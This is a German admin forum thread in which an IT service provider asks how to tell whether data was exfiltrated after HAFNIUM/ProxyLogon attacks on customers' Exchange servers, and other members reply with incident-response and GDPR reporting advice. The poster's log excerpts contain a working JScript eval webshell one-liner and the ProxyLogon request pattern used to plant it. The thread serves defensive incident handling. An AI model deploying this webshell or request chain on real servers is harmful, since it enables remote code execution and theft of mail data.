Wie herausfinden ob Daten abgeflossen sind?
Moin zusammen.
Ja ich weiß, das Thema HAFNIUM und co. nervt langsam. Mich auch.
Aber ich habe jetzt schon hier und auch google befragt, aber ich finde einfach keinen Anhaltspunkt. Oder ich bin einfach nur blind.
Ich habe das Problem, das 3 Kunden von mir Korrumpiert wurden. Dabei einer mit einer Webshell, die noch vorhanden war (s0pport). In den Logs habe ich, mit den üblichen Tools, mehrere Einträge gefunden.
Was ich jetzt aber einfach nicht weiß, wie kann ich nun herausfinden, ob Daten abgeflossen sind.
Vielleicht hat der Eine oder Andere an dieser Stelle einige Tipps, wo oder in welchen Logs ich am besten schauen kann. Ereignisprotokolle etc. Oder zumindest, nach was ich genau suchen muss.
Die Logs sehen auf dem ersten Blick erstmal normal aus.
Ja ich weiß, das Thema HAFNIUM und co. nervt langsam. Mich auch.
Aber ich habe jetzt schon hier und auch google befragt, aber ich finde einfach keinen Anhaltspunkt. Oder ich bin einfach nur blind.
Ich habe das Problem, das 3 Kunden von mir Korrumpiert wurden. Dabei einer mit einer Webshell, die noch vorhanden war (s0pport). In den Logs habe ich, mit den üblichen Tools, mehrere Einträge gefunden.
http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["Ananas"],"unsafe");}</script>
http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["klk123456"],"unsafe");}</script>
http://g/<script language="JScript" runat="server">function Page_Load(){eval(Request["kuh123456"],"unsafe");}</script>
"/ecp/y.js","X-BEResource-Cookie","python-requests/2.25.1"
oder aber auch mit
Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/51.0.2704.103+Safari/537.36
"XXX","/ecp/program.js","X-BEResource-Cookie","ExchangeServicesClient/0.0.0.0","ServerInfo~a]@XXX:444/ecp/proxyLogon.ecp?#","XXX"
"XXX","/ecp/program.js","X-BEResource-Cookie","ExchangeServicesClient/0.0.0.0","ServerInfo~a]@XXX:444/ecp/DDI/DDIService.svc/GetList?msExchEcpCanary.....
ECP.Request,"S:TIME=437;S:SID=e1c8d7af-4aa6-452c-8a8b-bd1e9a8c1c0e;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/<script language=""JScript"" runat=""server"">function Page_Load(){eval(Request[""mag4""],""unsafe"");}</script>''.Identity=''c81100ee-b59f-4fff-b644-47c7ed1bac5a''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=JenXI18Ckku9IF_g8SVJrMe67YTp4NgIm2HTzpkyDQ1-XJRB9LkH015iVpdLmhD6Pnc8mugfokI.&schema=OABVirtualDirectory;S:EX=;S:ACTID=678ae5d9-f06b-4fac-9324-94f6ebd5636b;S:RS=0;S:BLD=15.0.1395.4"
Was ich jetzt aber einfach nicht weiß, wie kann ich nun herausfinden, ob Daten abgeflossen sind.
Vielleicht hat der Eine oder Andere an dieser Stelle einige Tipps, wo oder in welchen Logs ich am besten schauen kann. Ereignisprotokolle etc. Oder zumindest, nach was ich genau suchen muss.
Die Logs sehen auf dem ersten Blick erstmal normal aus.
Bitte markiere auch die Kommentare, die zur Lösung des Beitrags beigetragen haben
Content-ID: 664956
Url: https://administrator.de/forum/wie-herausfinden-ob-daten-abgeflossen-sind-664956.html
Ausgedruckt am: 23.12.2024 um 06:12 Uhr
9 Kommentare
Neuester Kommentar
Mahlzeit!
Ich würde nicht mehr suchen. Ich würde annehmen. Du hast ne fremde Webshell entdeckt? Die Sicherheitstools von MS schlagen Alarm? Sichere die DBs, mach die Büchse platt und setze sie frisch auf. So würde ich das machen.
Denn selbst wenn noch nix abgeflossen ist, weißt Du u.U. nicht, welche Hintertür da eingebaut wurde!
Zitat von @Wild-Wolf:
Was ich jetzt aber einfach nicht weiß, wie kann ich nun herausfinden, ob Daten abgeflossen sind.
Vielleicht hat der Eine oder Andere an dieser Stelle einige Tipps, wo oder in welchen Logs ich am besten schauen kann. Ereignisprotokolle etc. Oder zumindest, nach was ich genau suchen muss.
Was ich jetzt aber einfach nicht weiß, wie kann ich nun herausfinden, ob Daten abgeflossen sind.
Vielleicht hat der Eine oder Andere an dieser Stelle einige Tipps, wo oder in welchen Logs ich am besten schauen kann. Ereignisprotokolle etc. Oder zumindest, nach was ich genau suchen muss.
Ich würde nicht mehr suchen. Ich würde annehmen. Du hast ne fremde Webshell entdeckt? Die Sicherheitstools von MS schlagen Alarm? Sichere die DBs, mach die Büchse platt und setze sie frisch auf. So würde ich das machen.
Denn selbst wenn noch nix abgeflossen ist, weißt Du u.U. nicht, welche Hintertür da eingebaut wurde!
Zitat von @beidermachtvongreyscull:
Sichere die DBs, mach die Büchse platt und setze sie frisch auf. So würde ich das machen.
Sichere die DBs, mach die Büchse platt und setze sie frisch auf. So würde ich das machen.
Ich würde nicht mal die Datenbank mehr übernehmen! Da könnte sich prinzipiell auch etwas eingenistet haben ...
Alten Stand wiederherstellen und Mails bis zu diesem Stand manuell extrahieren und wieder importieren.
Zitat von @anteNope:
Ich würde nicht mal die Datenbank mehr übernehmen! Da könnte sich prinzipiell auch etwas eingenistet haben ...
Alten Stand wiederherstellen und Mails bis zu diesem Stand manuell extrahieren und wieder importieren.
Ich würde nicht mal die Datenbank mehr übernehmen! Da könnte sich prinzipiell auch etwas eingenistet haben ...
Alten Stand wiederherstellen und Mails bis zu diesem Stand manuell extrahieren und wieder importieren.
Kondom und Pille.
Eine gute Kombination, auch wenn der Spaß darunter leiden könnte.
Aber wenn Du z.B. nen Mailstore angeschlossen hast, dann würde es ja wahrscheinlich keinen Sinn machen, oder doch?
Der hätte ja dann ebenfalls den vermeintlich kompromittierten "Inhalt".
Moin,
mich nervt es nicht, im Gegenteil . Ich bin nur am Lachen und es zeigt meinem Chef, der Typ ist jeden Cent wert
Sollte Ihr Unternehmen oder Ihre Behörde einen Microsoft Exchange Server einsetzen, so gehen Sie bitte wie folgt vor:
Spielen Sie unverzüglich die von Microsoft zur Verfügung gestellten Sicherheitspatches zur Schließung der Sicherheitslücke auf. Von der Sicherheitslücke betroffene Serverversionen finden Sie hier auf der Seite des BSI.
Prüfen Sie, ob der von Ihnen eingesetzte Exchange-Server kompromittiert wurde. Hierfür stellt Microsoft ein eigenes Prüfskript zur Verfügung. Dieses finden Sie unter dieser Adresse.
Sofern Ihr System kompromittiert wurde, so stellt dies eine meldepflichtige Datenschutzverletzung dar. Um die nach Art. 33 der DS-GVO vorgeschriebene Meldepflicht auszulösen, reicht ein potenzieller Zugriff aus, der mit einer Kompromittierung des eingesetzten Servers einhergeht. Losgelöst von einem möglichen Abfluss personenbezogener Daten, der womöglich erst nach einer gewissen Zeit zur Kenntnis gelangt oder festgestellt wird, empfiehlt der LfDI deshalb – bei Kompromittierung des Servers – eine vorläufige Meldung einer Verletzung des Schutzes personenbezogener Daten vorzunehmen, um Konflikte mit der Meldefrist nach Art. 33 Abs. 1 DS-GVO zu vermeiden. Für die Meldung der Datenschutzverletzung verwenden Sie bitte das hierfür bereitgestellte Online-Formular.
Sollte Ihr System nicht kompromittiert worden sein und Ihnen keine Erkenntnisse über eine unbefugte Einsichtnahme bzw. Abfluss personenbezogener Daten vorliegen, so ist eine Meldung an den LfDI RLP nicht erforderlich. Sofern von dem Vorfall sensible personenbezogene Daten i.S.d. Art. 9 DS-GVO betroffen sind, so möchten wir Sie darauf hinweisen, dass eine Unterrichtung des betroffenen Personenkreises durch den Verantwortlichen nach Artikel 34 DS-GVO unverzüglich zu erfolgen hat.
https://www.datenschutz.rlp.de/de/aktuelles/detail/news/detail/News/verm ...
Ich gehe davon aus, du hast noch keinen Kontakt zu den Behörden aufgenommen. Sonst hättest du bereits eine super Anleitung in der Hand.
mich nervt es nicht, im Gegenteil . Ich bin nur am Lachen und es zeigt meinem Chef, der Typ ist jeden Cent wert
Sollte Ihr Unternehmen oder Ihre Behörde einen Microsoft Exchange Server einsetzen, so gehen Sie bitte wie folgt vor:
Spielen Sie unverzüglich die von Microsoft zur Verfügung gestellten Sicherheitspatches zur Schließung der Sicherheitslücke auf. Von der Sicherheitslücke betroffene Serverversionen finden Sie hier auf der Seite des BSI.
Prüfen Sie, ob der von Ihnen eingesetzte Exchange-Server kompromittiert wurde. Hierfür stellt Microsoft ein eigenes Prüfskript zur Verfügung. Dieses finden Sie unter dieser Adresse.
Sofern Ihr System kompromittiert wurde, so stellt dies eine meldepflichtige Datenschutzverletzung dar. Um die nach Art. 33 der DS-GVO vorgeschriebene Meldepflicht auszulösen, reicht ein potenzieller Zugriff aus, der mit einer Kompromittierung des eingesetzten Servers einhergeht. Losgelöst von einem möglichen Abfluss personenbezogener Daten, der womöglich erst nach einer gewissen Zeit zur Kenntnis gelangt oder festgestellt wird, empfiehlt der LfDI deshalb – bei Kompromittierung des Servers – eine vorläufige Meldung einer Verletzung des Schutzes personenbezogener Daten vorzunehmen, um Konflikte mit der Meldefrist nach Art. 33 Abs. 1 DS-GVO zu vermeiden. Für die Meldung der Datenschutzverletzung verwenden Sie bitte das hierfür bereitgestellte Online-Formular.
Sollte Ihr System nicht kompromittiert worden sein und Ihnen keine Erkenntnisse über eine unbefugte Einsichtnahme bzw. Abfluss personenbezogener Daten vorliegen, so ist eine Meldung an den LfDI RLP nicht erforderlich. Sofern von dem Vorfall sensible personenbezogene Daten i.S.d. Art. 9 DS-GVO betroffen sind, so möchten wir Sie darauf hinweisen, dass eine Unterrichtung des betroffenen Personenkreises durch den Verantwortlichen nach Artikel 34 DS-GVO unverzüglich zu erfolgen hat.
https://www.datenschutz.rlp.de/de/aktuelles/detail/news/detail/News/verm ...
Ich gehe davon aus, du hast noch keinen Kontakt zu den Behörden aufgenommen. Sonst hättest du bereits eine super Anleitung in der Hand.
Aber wenn Du z.B. nen Mailstore angeschlossen hast, dann würde es ja wahrscheinlich keinen Sinn machen, oder doch?
Naja die Anwender würden schon ihre aktuellen Mails wiederhaben 🤣Der hätte ja dann ebenfalls den vermeintlich kompromittierten "Inhalt".
Mir geht es weder um infizierte Mails, sondern eher darum, dass Datenbanken auch Schadecode enthalten könnte. Sprich man mountet die und zack ist die Hintertüre wieder offen 😅Zitat von @anteNope:
Aber wenn Du z.B. nen Mailstore angeschlossen hast, dann würde es ja wahrscheinlich keinen Sinn machen, oder doch?
Naja die Anwender würden schon ihre aktuellen Mails wiederhaben 🤣Der hätte ja dann ebenfalls den vermeintlich kompromittierten "Inhalt".
Mir geht es weder um infizierte Mails, sondern eher darum, dass Datenbanken auch Schadecode enthalten könnte. Sprich man mountet die und zack ist die Hintertüre wieder offen 😅Mir ist schon klar, worauf Du hinaus willst.
Leider ist das nicht in einem paar Zeilen post abzuarbeiten. Das Thema ist Umfangreich genung um einen Forensiker anzuheuern.
Grundsätzlich ist es möglich gewisse akivität festzustellen (z.B. wann die webshell angelegt wurde, und ob auf Sie dannach zugegriffen wurde - die Dateisystem Artefakte räumt kaum ein 08/15 Hacker auf, geschweige denn ein automatisches Skript) - aber der Forensiker wird auch nur in Wahscheinlichkeiten sprechen und keine 100tigen aussagen treffen können.
Sofern du kein Logging von einem nichtkompromittierten System hast, bleibt nur was alle anderen gesagt haben: Die Excange Server samt anhängenden AD komlett neu aufsetzen - denn der Beweiswert von einem System das ge0wnd wurde, liegt leider auch bei 0
MFG
N-Dude
Grundsätzlich ist es möglich gewisse akivität festzustellen (z.B. wann die webshell angelegt wurde, und ob auf Sie dannach zugegriffen wurde - die Dateisystem Artefakte räumt kaum ein 08/15 Hacker auf, geschweige denn ein automatisches Skript) - aber der Forensiker wird auch nur in Wahscheinlichkeiten sprechen und keine 100tigen aussagen treffen können.
Sofern du kein Logging von einem nichtkompromittierten System hast, bleibt nur was alle anderen gesagt haben: Die Excange Server samt anhängenden AD komlett neu aufsetzen - denn der Beweiswert von einem System das ge0wnd wurde, liegt leider auch bei 0
MFG
N-Dude